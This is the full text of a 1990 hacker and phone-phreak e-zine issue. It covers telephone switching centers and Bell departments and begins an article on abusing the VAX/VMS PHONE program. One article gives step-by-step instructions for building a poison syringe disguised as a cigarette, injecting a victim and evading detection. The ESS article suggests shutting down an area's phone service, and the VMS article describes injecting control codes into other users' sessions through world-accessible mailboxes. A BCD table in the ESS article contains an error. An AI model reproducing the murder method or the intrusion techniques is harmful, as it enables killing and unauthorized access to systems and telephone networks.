()---------------------------------------------------------------------------()
  P/HUN Issue #5                                            Articles [14]
  Released 5/07/90                                          Comments: PHUN #5
                            
       
                          P/HUN MAGAZINE Issue #5
                          -----------------------
                      P/HUN Magazine Inc., Productions
                      --------------------------------
                    Phile #1 of P/HUN Magazine Issue  #5
                    ------------------------------------


Hello and welcome to Issue #5. As you may have noticed our BBS went down a 
couple of months ago. Since we no longer have a BBS, P/HUN Issues can 
regularly be found on these boards:    

                       =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                       The Uncensored BBS - (914)761/6877
                    Demon Roach Underground - (806)794/4362
    CLLI Code BBS - [leave mail at clli@m-net.ann-arbor.mi.us for access]
    =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

                           >>>ANNOUNCEMENT<<<

The CLLI Code BBS (above) is highly recommended by us. It deals with all 
aspects of telecommunications and computer security. We suggest our readership
contact them for access.
  
                           >>>ANNOUNCEMENT<<<

The first issue of Cybertek Magazine(hardcopy) was just published some weeks 
ago. We reviewed it, and thought it was fantastic. We rate it as a magazine
with exceptional qualities and obviously with high potentials. The new magazine
covers various aspects of telephony, radio, chemistry, security and survival. 
We would like to point out that this is not solely a 'hacking magazine' however
various aspects are covered.

Cost $1.80 per Issue // Subcriptions are $10 per year

Send to:
--------
Cybertek Magazine 
P.O BOX 64
Brewster, NY 10509

Mr. Icom (editor) can be contacted at the bulletin boards listed above.

           o--------------------------------------------------o

We would like to thank the members of SSWC (The Technician, Cellular Phanton 
and Chance ) for contributing their first class research reports to this issue.
Their reports are truly educational and innovative as you will see.        

A special thanks goes to Bandito, Baliord, Jack the Ripper, Lord Micro, Seeker
and The Ring Master.

If you wish to contribute articles to P/HUN you can contact us at the boards 
listed above or on our Usenet address.

Enjoy!

                                            Red Knight           
                                         P/HUN Magazine Inc.
                                Usenet Address: phunmag@dasys1.UUCP

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

#   Phile Description                                 Size  Author or Group
-   ------------------------------------------------  ----  ---------------   
1   Introduction                                      1k    Red Knight
2   Peering the soul of ESS - Master Control Center   11k   Jack the Ripper
3   Born to Kill - The Art of Assasination            5k    Jack the Ripper
4   SSWC Bell Research Report Volume #1               7k    SSWC
5   SSWC Bell Research Report Volume #2               12k   SSWC 
6   Baliord VMS Tricks Volume I: PHONE                15k   Baliord
7   Baliord VMS Tricks Volume II: DOOR                12k   Baliord
8   (O)perator (S)ervices (P)osition (S)ystem - 5ESS  23k   Bandito   
9   The Crossbar Switching Guide [Xbar No. 5] Part I  8k    Xbar Switchman
10  SSWC Bell Research Report Volume #3               10k   SSWC 
11  Carrier 900/700 Services                          5k    Tone Tec
12  Legion of Doom Indictments [Chicago Members]      18k   TELECOM Digest
13  Card Reader Access System (Card Key)              2k    The Ring Master
14  S.S.T.C - LMOS GUIDELINES                         3k    The Trasher 005

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 ____________________________________________________________________________
|                                                                            |
|         "Peering into the Soul of ESS - The Master Control Center"         |
|                                                                            |
|                        Written By - Jack The Ripper                        |
|                                                                            |
|                            Organized Crime (OC)                            |
|                     Phile #2 of P/HUN Magazine Issue #5                    |
|____________________________________________________________________________|



        The Master Control Center is undoubtably the very essence of ESS.  The
Master Control Center (MCC) is the operational, maintenance, and administrative
core of the electronic switching central office.  This unit is what the ESS
operators use to control the ESS switch.  It test's customer lines and trunks,
alarms to indicate malfunctions, perfroms system testing functions, controls
operations, contains the magnetic tapes for recording Automatic Message
Accounting (AMA) data, and contains various other specialized equipment.


Primary Components of the MCC
-----------------------------

Master Control Console
Trunk and Line Test Facilities
Teletype (Teletypewriter) Channels 
AMA Recorders
DATASPEED -40 Terminal with Display and Printer



[---------------------------------------------------------------------------]
[ Diagram of Processor Display Panel of Master Control Console in No.1A ESS ]
[---------------------------------------------------------------------------]
_______________________________________________________________________________
| Processor Display       |   PS Bus   |   Pu Bus   |   CS Bus   |   AU Bus   |
|                         | Ad Re Ad Re| Ad Re Ad Re| Ad Re Ad Re| Ad Re Ad Re|
-------------------------------------------------------------------------------
|_____________________________________________________________________________|
||CC0 | ac| tr| po| st| of|| 0| 0| 1| 1|| 0| 0| 1| 1|| 0| 0| 1| 1|| 0| 0| 1| 1|
||----------------------------------------------------------------------------|
|| ltllh |====================================================================|
||-------|--------------------------------------------------------------------|
|| ltllh |====================================================================|
||____________________________________________________________________________|
||CC1 | ac| tr| po| st| of|| 0| 0| 1| 1|| 0| 0| 1| 1|| 0| 0| 1| 1|| 0| 0| 1| 1|
||----------------------------------------------------------------------------|
||                        ||           ||           ||           ||           |
||         --------------------------------------------------------           |
||         |meno|kc     ||           ||meno|kc     ||           ||            |
||         |------------||___________||------------||___________||------------|
||         |02| |36|ntce|| 0! 0! 1| 1||02| |05|ntce|| 0| 0| 1| 1||fs|df|ft|df2|
||         -------------------------------------------------------------------|
||         |            ||           ||            ||                         |
||         |   seno     ||           ||   seno     ||                         |
||         |   ---- ----||           ||   ---- ----||                         |
||         |ps|0|2| |ii ||           ||ps|0|2| |lh ||                         |
||         |  ----- ----||           ||  ----- ----||                         |
||----------------------------------------------------------------------------|
|| Update  || OverRide Control || SysR      || Processor Configuration Seq.   |
||         ||                  ||           ||         state counter          |
||   ----- ||------------ -----||-----------||---------------  -----          |
||   |inp| ||bl|au|ps|cc| | no ||rea|ena|err||p3|p1|8|4|2|1||  |rec|          |
||   ----- ||------------ -----||-----------||---------------  -----          |
||   ----- ||------------      ||           ||                                |
||   |fs0| ||vr|a1|p2|c1|      ||___________||                                |
||   ----- ||------------      ||           ||                                |
||   ----- ||          Activate||           ||Activate                        |
||   |fs1| || ----      ----   ||   -----   ||------        ------------------|
||   ----- || |x1|      |x2|   ||   |inv|   ||q1|q2|        |w1|w2|w3|w4|w5|w6|
||         || ----      ----   ||   -----   ||------        ------------------|
||         ||                  ||           ||                                |
||_________||__________________||___________||________________________________|

Key
---
w6   = Prssr Comfg
w5   = Prgm Store
w4   = Call Store
w3   = Basic Prssr
w2   = Reptd Pc
w1   = Pc Atmpt
x2   = Ovrd Efct
x1   = Vrbl PS1 
q2   = Dsble Auto
q1   = PC
fs1  = FS 163
c1   = CC1
p2   = PS Bus 1
a1   = AU Bus 1
vr   = Vrbl PS 0
fs0  = FS 062
rec  = Reset Cntr
p1   = Pmp 16
p3   = Pmp 32
err  = Error
ena  = Enable Data
rea  = ready 
no   = No Ovrd
cc   = CC D
ps   = PS Bus 0 
au   = Au Bus  0
bl   = Blk 0 Ps 0  
inp  = In Prgs
SysR = System Reinitialization
lh   = LHIJI
ii   = IIOLI
seno = Select No. (Select Number)
df2  = Disk File 1
ft   = FS 1 Trbl 
df   = Disk File 0
fs   = FS 0 Trbl
meno = Member Number
kc   = K-Code
||   = Separates different Status Bars ie PS Bus, Processor Display, and Au Bus
ac   = Active 
tr   = Trble
po   = Power
st   = Stop
of   = Offline

+++ Added note on the key is that the abbreviations on the key are exactly the
same as they appear on the panel.


        As you can see the MCC panel is divided up into five main groups of
keys and lighted or LED displays;  processor display, update, override control,
system reinitialization, and processor configuration sequencer.  The update
group of keys and displays permits personnel to check when a program update is
in progress.  The override group of switchs and displays allows personnel to
manually activate a central control unit, auxillary bus unit, and program store
buse for emergency system recovery.  The system reinitialization keys and
displays allow personnel to manually reinitialize the system in conjuction with
the override control or processor configuration sequencer group of keys.  

Workings of the MCC and Points of Interest
------------------------------------------
        
        Now that you have a little background information on the MCC, and are
familiar with the MCC Console we can talk about the MCC a little more.  The MCC
can be used to remove from service all outgoing trunks, customer lines, and
service circuits.  This would be an interesting project next time your at your
local CO to stop all service to an area.  The MCC is capable of flagging
pernament signals i.e. busy signal (black box on electromechanical or crossbar
offices) .  The master testing circuit can be connected to any outgoing trunk,
service circuit, and most often any customers lines for testing purposes.  Also
the MCC can be connected to any voltmeter to test any customers line, service
circuit, or outgoing trunk.  The MCC also interacts with Remote Switching
Systems to perform various testing functions to detect bad circuits and
potential future problems i.e. a decaying circuit or two.  

AMA in the MCC
--------------

        The Automatic Message Accounting recorder is located on the MCC and
stores "customer billing information <right>" on magnetic tapes.  One 2,400 ft
reel of tape stores the billing data for 100,000 calls a day.  These tapes
however are backed up by duplicates to ensure against failure or billing error
although it does happen, and the two copies are sent to a DPC (Data Processing
Center) for analysis in computing customer bills   The data that is to be
stored is selected by the call processing program, which deceides whether or
not the information for a call is to be stored.  Then the data is temporarily
stored in the AMA register (full capacity of the AMA register is 230 bits each)
call store, and after completion of the call the related data is assembled in
the BCD (Binary Coded Decimal (see Binary Number System for Decimal Digits
Diagram)) format and placed in the AMA buffer call store.

Binary Number System for Decimal Digits
---------------------------------------

Decimal    Four Digit Binary Code
Number       A     B     C     D
            <8>   <4>   <2>   <1>
-----------------------------------------
  0          0     0     0     0
  1          0     0     0     1
  2          0     0     1     0
  3          0     0     1     1
  4          0     1     0     0 
  5          0     1     0     0 
  6          0     1     1     0
  7          0     1     1     1
  8          1     0     0     0
  9          1     0     0     1
  10         1     0     1     0 
  11         1     0     1     1 
  12         1     1     0     0 
  13         1     1     0     1 
  14         1     1     1     0
  15         1     1     1     1

        The recording procedure is then started by an AMA program in program
store when the AMA buffer in call store is fully loaded.  The AMA buffer has a
full capacity of 140 words of 23 bits each.  The AMA program will cause central
control to direct that the data be transferred one word at a time to the AMA
circuit for recording on the tape.

Suggested Reading
-----------------

Basic Carrier Telephony, Third Edition by David Talley
Basic Telephone Switching Systems, Second Edition by David Talley

Anything Else by David Talley he wrote a few more.  He is one of the best
telecommunications authors, and all of this information was born into me
through him.  His books are also written with quesitons in the back which helps
you to learn the information.  Next time some moron throws an infoform at you
asking what ESS is you can quite simply say something rude like, "Are you
talking about the program interruptions in a No.1A ESS office which occur every
1.4 microseconds due to the system clock providing of course that it is running
off of a 1A processor and hasn't been modified in any way, and is running stock
software?"  That outta get em eh?

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 _____________________________________________________________________________
|                                                                            |
|                 Born to Kill - The Art of Assassination                    |
|                                                                            |
|                                 Part I                                     |
|                                                                            |
|                     Written by - Jack The Ripper (OC)                      |
|                                                                            |
|                     London at Midnight-  713-523-3733                      |
|                    Phile #3 of P/HUN Magazine Issue #5 	             |
|____________________________________________________________________________|



        This is a series solely written from pure genius.  You will not find
the methods outlined here in any book or any other publication.  They are for
informational purposes only, and are not to be used.  The method I will outline
here will consist of two parts.  The first part is the construction of a lethal
injection device.  The second part will discuss how to turn this device into a
totally harmless looking device that kills quickly, silently, and effectively.

Construction of a Lethal Injection Device 
------------------------------------------

Materials Needed
----------------

Deadly Toxin i.e. air, cyanide, etc... (no specifics are outlined)
Larger syringe if superimpostition is needed.
5 cc or less size syringe with a 3/4 inch needle if unavailable superimpose.
a syringe that's body fits loosely in an emptied cigarette.
Superglue if superimposition is needed.
Cigarette Pack 100's preferably

Preparing the Syringe
---------------------

1) Totally disassemble the syring you will be working with the two parts.
    mainly

2) Skip if needle is 3/4's of an inch.  Break the needle off of the larger 
   syringe.  Now place glue around the base of the smaller syringes needle not
   much just a dab or two.  Place the larger needle over the smaller needle 
   so that it extends it out to the full 3/4's of an inch.  

3) cut the length of the syringe (the body only! not including the needle)
   down to 1 and 1/2 of an inch with a hacksaw so as to make a clean cut.

4) Now take the push stick or the handle of the syringe and cut off the tip
   of it, and cut the body down so that it is 1 and 1/2 inch's long.

5) What you should have now is a push stick that is 1 and 1/2 inchs long and
   fits just inside the syringe which is 1 and 1/2 inchs long, and a needle
   that is 3/4's of an inch long.  The whole contraption should be 3 and 
   3/4's of an inch enough to fit in a 100 cigarette easily.

Preparing the cigarette
-----------------------

1) Remove the filter from the cigarette by twisting it off, and then throw the
   long part of the cigarette away.  The paper should extend about 1/4 of an 
   inch from the filter, and try not to rip it.  The paper normally extends 
   a little bit naturally.

2) Take your tweesers and pick out the filter from the inside of the cigarette
   leaving a little bit about 1/4 inch of the filter to cover the end of the 
   cigarette.

3) Now take another cigarette and tear off the long part, and empty out the 
   tobacco saving it for later. 

4) Now you should have an empty hollow cigarette shell.  A bored out filter
   with 1/4 of an inch of the ending left on.

5) Now glue the long hollow part of the cigarette back to the filter and let
   it dry.

Arming the Contraption
----------------------

1) Now place the toxin into the body of the syringe with the needle on it of
   course.

2) Place the pushstick over it extended.

3) Place the setup into the cigarette with the back of the push stick touching
   the filter.  

4) Fill the remaining space of the cigarette with the leftover tobacco.

How to Use
----------

1) Light the cigarette since the needle end will be filled with a good portion
   roughly 1 minute 15 seconds of burning tobacco. 

2) Walk by the victim and burn him/inject him by pushing down on the filter of
   the armed cigarette.

3) The victim will think it was just a cigarette burn call you an idiot and 
   walk away.

Notes
-----

1) You might have to experiment with the lengths to get it just right.

2) Only use 1 cc or less of toxin or the victim might notice that something
   funny is going on before he dies.

3) Test it before you use it.  Cigarettes are a dime a dozen.

4) Never throw it away near the site.

5) Destroy it after it's use since plastic melts this is easy then throw it
   in a gutter or a junkyard.

6) Be careful not to scrape yourself.

7) The burn will take care of the pain, so he/she shouldn't notice a thing.

8) There will most likely be an inquest especially when normal people just drop
   dead and die.

9) Try to use slow acting 15-30 minute toxins that are lethal in small doses.

Toxins for Use
--------------

1) The Simplest toxin to use is air.  An air bubble in the brain causes death  
 and there is no way in hell a coroner can detect foul play unless he is   
looking for it.  Not to mention there will be a burn blister over the 
   injection hole, so it will not be noticed.

2) Be creative think of something.

Conclusion
----------

        In conclusion I would like to add that there are many toxins for you
use.  There are hundreds of other viable options out there just waiting to be
discovered.

=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
 
    =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=                    
    | SSWC - Bell Research Report (Vol I) |               
    |------------------------------------ |
    | Phile #4 of P/HUN Magazine Issue #5 |
    =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 


      All research gathered, tested and mastered by the original 
      members of SSWC:  
 
      Chance - The Technician - Cellular Phantom 
 
       
      This text will give you an in depth look at some unexplored 
      operating departments located in the Bell System. As well 
      as newly discovered equipment and electronic devices used 
      by Bell Technicians. Note that information in this file is 
      subject to change. However, we will try to keep you updated 
      as much as possible. 
 
      There are many different types of acronyms used in this text. 
      You will find a list these acronyms at the end of this file. 
 
 
 
   We will begin the file by discussing a mechanical/electronic 
device used by the Cable Transfer Administration (CTA) known as 
a Transfer Switch. This device is specifically used to verify a 
working line on both the "from" cable pair and the "to" cable 
pair through the backtap, and is transparent to the customer (in 
other words the device is unnoticeable to the customer).      
Although the Transfer Switch itself is located at the CO, CTA 
is responsible for the maintenance and upkeep of the Transfer 
Switch.  
 
   Next we will discuss a department of Bell known as the 
Distribution Service Design Center (DSDC). The Cable Transfer 
Representative (this person is a clerk for DSDC), will prepare 
the Cable Transfer Schedule and assist the other representatives 
in coordinating telephone line repair and completion dates. 
The engineering job schedule, service requirement dates, pending 
or potential held orders, age of job, etc, will determine the 
priority of each scheduled completion date. It is the  
responsibility of DSDC Transfer Representatives and Committees 
to provide a splicing sequence and resultant fill on an 
Engineering Work Order (EWO). The DSDC will determine the number 
of "Plain Old Telephone Service" (POTS) circuits and special 
and designed services on the EWO. They will help determine if 
the rearrangements and changes incorporated in the EWO will 
necessitate a design review by the Circuit Provision Center (CPC). 
The DSDC will forward to the CPC old and new line makeups for 
designed service. The DSDC scheduling engineer is responsible 
for reviewing old and new EWOs involving cable, line, or station 
rearrangements and for establishing the time needed for job completion. After reviewing old work orders, the DSDC shall 
do one of the following: 
 
 
 
1. Reschedule the cable, line, or station transfers. 
 
2. Initiate a revision of the transfer so it will be compatible 
   with existing conditions. 
 
3. Issue a cancellation of the particular transfer in question. 
 
   The Circuit Provision Center (CPC) involves cable, line, or 
station transfer procedures when it is presented a notification 
of a cable transfer and an indication that special services are 
involved. The CPC will receive notification from the DSDC that  
a circuit change will be required. The notification document  
will provide the CPC with: 
 
A. Project number and expected record issue date (RID) and  
   due date 
 
B. Common language circuit identification (CLCI) 
 
C. Old assignment and makeup  
 
D. New assignment and makeup.  
 
   It is the responsibility for The Frame Control Center (FCC) 
and affiliated representatives to contact each CO involved in a 
cable transfer and will be a member of the Cable Transfer 
Committee (CTC), and will attend committee meetings. The CTC 
will also make frame cross-connect activity completion 
commitments. Placing and removing front-tap connectors, sending 
tone, and connecting automatic taggers and Central Work Group  
(CWG) talk pairs shall be the responsibility of the FCC. 
 
   Upon receiving of either the Exchange Customer Cable Record 
(ECCR), Computer Systems for Mainframe Operations (COSMOS) 
printouts, or local forms from the Loop Assignment Center (LAC), 
the Central Office Work Group (COWG) shall make a verification 
and test of the transferring cable counts and resolve all 
record problems with the LAC. The COWG will use the following 
procedures for verification and test: 
 
1. Verify the telephone number on all working pairs in both 
   the "from" and "to" counts and check for any vacant pairs not 
   listed. 
 
2. Test all vacant pairs in the "to" count, using the Go/No-Go  
   test set or equivalent. 
 
3. Any discrepancy found as determined in (1) or (2) shall be 
   posted and the forms returned to the LAC on or before the  
   scheduled completion date for verification and pretest as 
   shown on the transfer schedule. 
 
 
 
   Note: Verification and pretests are extremely important in 
         preventing future service interruptions, unresolved 
         discrepancies, and cost delays. (In other words this 
         is done so Bell won't loose a dime of their precious 
         "millions". 
 
   After placing the backtaps, the COWG must validate that the 
backtaps are correct and any work or record problems found, will 
be corrected by the COWG and forwarded to the LAC for updating 
records. In work locations where COSMOS is fully used, the  
transfer MUST be stated in COSMOS, when backtaps are placed or 
removed, by using the appropriate work code found in the COSMOS 
Frame Training Manual. 
 
 
 
 
   
      *   Note to the reader: All Bell departments discussed in 
            in this text work together on a regular basis, 
            generally when their is a problem with a cable  
            transfer or with similar related equipment, the 
            Bell departments will interact with each other in 
            order to remedy the problem. 
 
          This concludes SSWCs Bell Research Report (Vol I). 
          The information contained in this file is solely 
          for the use of those that FULLY understand 
          what has been discussed. If you do not FULLY  
          understand what has been discussed in this file, 
          it is extremely advisable not to attempt to use any 
          of this information, whereas you could cause an 
          extreme negative impact on your knowledge as a Phone 
          Hack/Phreak. Have a good time, learn what you can, but 
          never think you know more than you do. To the 
          novice this file is all technical BullShit.  
          However to the Innovative its much, much more. 
 
 
 
GLOSSARY OF ACRONYMS: 
 
         CLCI   - Common Language Circuit Identification 
 
         COSMOS - Computer System for Mainframe Operations 
 
         COWG   - Central Office Work Group  
  
         CPC    - Circuit Provision Center 
 
         CMC    - Construction Management Center  
 
 
 
         CTA    - Cable Transfer Administration  
 
         DSDC   - Distribution Service Design Center 
 
         ECCR   - Exchange Customer Cable Record 
 
         EWO    - Engineering Work Order 
 
         FCC    - Frame Control Center 
 
         LAC    - Loop Assignment Center 
 
         POTS   - Plain Old Telephone Service 
 
         RID    - Record Issue Date 
 
         SSC    - Special Service Center 
 
          
 
 
   *** SSWC: Were just getting started... 
 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

=================================================
=      SSWC - Bell Research Report (Vol II)     =
=      ------------------------------------     =
=      Phile #5 of P/HUN Magazine Issue #5      =
=================================================

       All research gathered, tested and mastered by the original 
       members of SSWC: 
 
       Chance - The Technician - Cellular Phantom 
 
 
       SSWC presents our latest text file continuing our discussion 
       on Bell Operating Departments. Note that information in  
       this file is subject to change. However, we will try to keep 
       you updated as much as possible.  
 
 
     We will begin by discussing an important department of Bell,  
  known as the Maintenance Center (MC) or Special Service Center 
  (SSC). The MC is responsible for verifying and coordinating the 
  transfer of special service activities between the Construction 
  Work Group (CWG) and the Central Office Work Group (COWG). The  
  MC or SSC will maintain control of all special service transfers. 
 
       Note: When using an approved transfer switch, testing of 
             Plain Old Telephone Service (POTS) services  will be 
             performed by the CWG. The MC meed only test services 
             classified as type "B". (This type of classification 
             is generally used on the Computer System for Mainframe 
             Operation (COSMOS) mainframe). 
 
    The MC will receive a copy of the cable transfer and associated 
  work orders from the Loop Assignment Center (LAC) prior to the 
  scheduled start date of the transfer. They will deal with any  
  unrecognized problems (such as clearing defective pairs, if  
  requested by the Distribution Service Design Center (DSDC), and 
  giving notification of what pairs have been or cannot be cleared) 
  that would require new pair count assignments.    
      
     The MC shall arrange with the CWG, Frame Control Center (FCC), 
  SSC, and other necessary departments for the transfer of special 
  and designed services that require release or special handling. 
  During the transfer of these services, the MC will maintain  
  communication with all personnel involved in the transfer  
  activity. 
    
     The MC or SSC shall coordinate the release and transfer of 
  special and designed services designated as "B" services. The time 
  and date for each service release shall be recorded on the MC copy 
  of the Special Service Protection List and Defective Pair List. 
 
       Note: Time and date of release must be negotiated in advance 
             of the cable transfer. No work shall be permitted on 
             service requiring a release until a method of procedure, 
             including release date and time and personnel required, 
             has been established by the MC and approved by the  
 
             customer and SSC control office responsible for those 
             services. When the MC receives work of those specific 
             or out-of-the-ordinary release requirements, the  
             Construction Management Center (CMC) supervisor, FCC 
             supervisor, and other necessary work group supervisors 
             must be notified in advance so they can begin work on 
             the transfer.  
      
     The MC shall test all affected special and designed services 
  completed by the CWG as the transfer progresses. The CWG need not 
  wait for verification by the MC, unless problems are encountered. 
  The CWG will inform the MC of progress. The MC shall have the 
  authority to stop the transfer procedures at any time if extensive 
  trouble reports develope. If this occurs, the MC supervisor will 
  lead an investigating committee to determine the cause of trouble 
  and to recommend corrective action.  
 
     After all work is completed, the MC will issue a final closing 
  number for the completed transfer. The MC will notify the FCC that 
  the transfer is complete and will give them the closing number. 
  The MC will post the Cable Transfer Form as complete and will  
  forward the transfer, including changes, and Defective Pair List 
  to the LAC.   
 
 
     We will now discuss the uses of the Cable Transfer Administration 
  (CTA), and how they operate at a successful level.  
 
     The general functions and responsibilities of the CTA work group 
  is to provide flexibility in the design of the cable network,  
  existing cable pairs are transferred for one cable count to another 
  cable count. This is commonly referred to as a cable transfer or  
  cable throw. The transfer occurs in a splice and involves  
  disconnecting pairs of wires beyond the splice from one feeder 
  cable count and reconnecting then to a different feeder count. 
  The result is that the count of the pairs beyond the splice will 
  change. The configuration, identification, and possible transferring 
  of working cable pairs are complex and time-consuming. The work 
  is further complicated by the many functions required of other  
  work groups. To ensure that these operations are performed free of 
  service interruptions and with maximum efficiency, timing and close 
  coordination among all the work groups involved are mandatory. 
 
     The same coordination is required to complete drop wire re- 
  connections (line transfers). The Cable Transfer Committee (CTC) 
  is also responsible for organizing this work in a timely manner. 
  As soon as practical, after the line transfer have been completed, 
  the old cable should be cut off and removed. (Their is more 
  hardware work involved in this process, however we regret that 
  we have not yet been able to fully research and understand what 
  further hardware applications are used).  
 
 
 
    
      In order for the Cable Transfer Committee to obtain a high  
  degree of transfer efficiency, all committee members must attend 
  committee meetings on a selective basis and monitor the published 
  minutes (in other words review information from past meetings). 
  Higher management will be able to evaluate the effectiveness of  
  the transfer committee. The number of jobs completed as scheduled 
  and the ability of the committee to identify problems should be  
  monitored as a measure of committee success in scheduling and 
  completing cable transfers. 
   
     The use of these procedures will reduce customer trouble reports 
  and the overall cost of cable and line transfers and will permit 
  balancing the work force and work load for all groups involved. 
  By completing cable transfers promptly, in accordance with the 
  time schedule, changes to transfer sheets will be minimized, the 
  need for rerunning cables will be reduced, testing cables can be 
  properly scheduled, and time spent on field work can be shortened. 
  The errors, frustrations, and probability of cable troubles  
  associated with delays in this kind of work can be virtually  
  eliminated. 
      
     A Cable Transfer Committee must be established in each network 
  distribution service/construction district to ensure close  
  coordination and proper timing of cable, line, or station transfers. 
  Districts that cover a large service area (having more that one 
  Loop Assignment Center or Maintenance Center) may require more 
  than one committee. 
 
 
     When scheduling transfers, consideration must be given to work 
  tours and peak load periods (busy times of the week) of all work 
  groups to optimize the continuity of the cable transfer activity. 
  Consideration must also be given to time required by the CWG 
  to complete preliminary work, by the LAC to analyze and lay out 
  the transfer, by the Circuit Provision Center (CPC) to check the 
  design of special services, by DSDC, Construction Management 
  Center (CMC), and installation to make the resulting changes, and 
  by the MC and/or SSC to negotiate with special service customers. 
  The Cable Transfer Committee must negotiate all completion dates. 
  The transfer committee chairperson will monitor and take action 
  on excessive time intervals for all work groups. Transfers that 
  involve an extremely large number of working circuits may require 
  scheduling in smaller segments. Transfers should be scheduled to 
  maintain continuity until wire work is completed. The committee 
  is responsible for all special scheduling. Offices with  
  mechanized assignment records such as COSMOS or TIRKS require 
  more strict scheduling due to transaction restrictions. 
  Sequence transfers and the reusing of counts cleared on previous 
  transfers may also require more strict scheduling. Cable  
  transfers worked via COSMOS must be closely monitored to avoid 
  long-term storage of cable transfers in the data base. 
  Long-term storage causes changes for the FCC and CWG, thereby 
   
  causing lost time. The committee will make preliminary arrange- 
  ments for the transfer of special and designed services. The LAC 
  will provide a list of all special services, by Common Language 
  Circuit Identification (CLCI), that are in the affected cable  
  count to the DSDC prior to scheduling the transfer in the firm 
  period. The DSDC will forward the list to the CPC along with the 
  new and old cable makeup for the reissuance of new Work Order 
  Record Detail (WORD - The work authorization and layout card 
  for designed special services) documents and redesigns, if 
  necessary. 
 
     After the new WORD documents are received, the FCC will bring 
  the Work Authorization (WA - The first page of the WORD document) 
  to the CTA committee meetings. The WA copy will contain the work 
  description and associated notes for the transfer and, most 
  important, will give the circuit classification code "A" or "B". 
   
 
 
     Next we will discuss information concerning the Telephone  
  Outside Plant. This brief discussion will inform you exactly what 
  path cables take from the CO to the subscribers residence.  
  This path is as follows: 
 
 
      1  Main Distributing Frame (MDF) 
      2  Tip Cables 
      3  Cable Vault 
      4  CO Manhole 
      5  Main Conduit  
      6  Subsidiary Conduit  
      7  Insulated Joint 
      8  Main Distributing Terminal (MDT) 
      9  Riser Cable 
     10  Distributing Terminal  
     11  Anchor Guy 
     12  Aerial Cable Cross Connecting Box 
     13  Telephone Company Owned Pole 
     14  Aerial Cable 
     15  Strand (one cable) 
     16  Joint Use Pole Electric or Telephone 
     17  Terminal  
     18  Splice 
     19  Electric Wires 
     20  Urban Wires 
     21  Dropwire 
     22  Main U.G. Cable 
     23  Stub 
     24  Rear Wall Cable 
     25  Buried Cable 
     26  Cribbing  
     27  Block Pole 
 
 
     After completing this sequence the cables will then run into 
  the residence, providing telephone service.  
 
 
 
 
     *     Note to the reader: In order to gain maximum knowledge  
             from this file, it is suggested that you obtain and 
             study our first file.  
            
           This concludes SSWCs Bell Research Report (Vol II). 
           The information contained in this file is solely for the 
           use of those that FULLY understand what has been 
           discussed. If you do not FULLY understand what has been 
           discussed in this file, it is extremely advisable not to 
           attempt to use any of this information, whereas you  
           could cause an extreme negative impact on the rest of the 
           the Hack/Phreak community. Have a good time, learn what you can, 
           but never think you know more than you do. To the 
           novice this file is all technical BullShit. However, to 
           the Innovative, its much, much more. 
 
 
   *  SSWC: The leader in innovative phreaking! 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
            

                 Baliord's Stupid VMS Tricks Vol 1: PHONE
                 ----------------------------------------  
                               By Baliord

                  Phile #6 of P/HUN Magazine Issue #5

 
    This program is the culmination of about a month's research, debugging,
and coding.  Any bugs in it are my fault, but I am not liable for them since
I am not running it (or compiling it) on your system.  You accept all
responsibility for the execution of this program by compiling it.  This
program is meant to show what CAN be done with the VAX/VMS PHONE program,
and is a working program solely for the purpose of showing that it CAN be
done.
    Sometime in 1986 or 1987, a friend of mine quit a job working with a
record company.  In the process of leaving, he managed to pick up a copy
of the VAX/VMS 4.0 source code on microfiche.  Since then, he has gotten
2 more editions.  He unfortunately doesn't understand the code, but just
likes to have it around as proof of his "abilities."  Once he acquired a
second copy of the code, I requested his earlier edition.  He gave it to
me freely.
    In the middle of 1988, a "user" at my local college approached me and
said that his PHONE conversations were being tapped.  I laughed, and told
them that it was impossible.  They persisted, and thus I foraged into the
realm of VMS PHONE discovery.   Upon reading the source code for PHONE, I
discovered that it was the funniest, and most interestingly written  (and
commented) program in the deck.  I discovered that, 1) PHONE was designed
with a RECORD feature that would allow users to record conversations (and
inform the other  party that a recording was occurring),  and that 2) the
mailboxes created by the phone  program were completely world accessible,
as well as being  easily discovered;  and that 3) for some reason DEC had
commented out ONE LINE from PHONE,  making it unable to RECORD, but still
including the code to do so in the program.
     The other thing that was in the PHONE source was a list of the control
codes that would force the program to do various things.  Surprisingly, the
commands typed at the keyboard were treated the same as characters recieved
through the mailboxes.   Needless to say, I immediately started considering
ways to access them.   After a bit of debugging,  hacking, and causing some
horrible errors to appear on other people's terminals, the program here was
written.
     The first program is the actual PASCAL source code for the message
sender; the next program is the  .CLD file you should create to use the
program;  the next thing is a list of the format and the method used in
creating your own file to send.  The last file is a few sample files to
be created to demonstrate the things that can be done.
     An interesting point is that the CALLING user creates the mailbox
FOR the called user.  This means that an answering machine program can
be written that will recieve messages, and hang up without needing the
user to watch over it.  Of course the user must be logged in, but they
need not recieve phone calls to get their messages!   I have written a
program to do this, and it may be published in the future.
     Oh yes, the method for finding out what users are currently using
the phone system is to:
                       SHOW LOG PHN$*/SYS
This works because PHONE creates systemwide logical names formatted as
PHN$<username>.
     The following is the method for using the PHZAP program...  Lines that
begin with ';' are comments...
 
$ SET COMMAND PHZAP
;  This enables the command...
$ SHOW LOG PHN$*
   "PHN$GOD" = "_MBAxxx"
   "PHN$DEVIL" = "_MBAxxx"
;  As I just said, that lists out who's using the system...
 
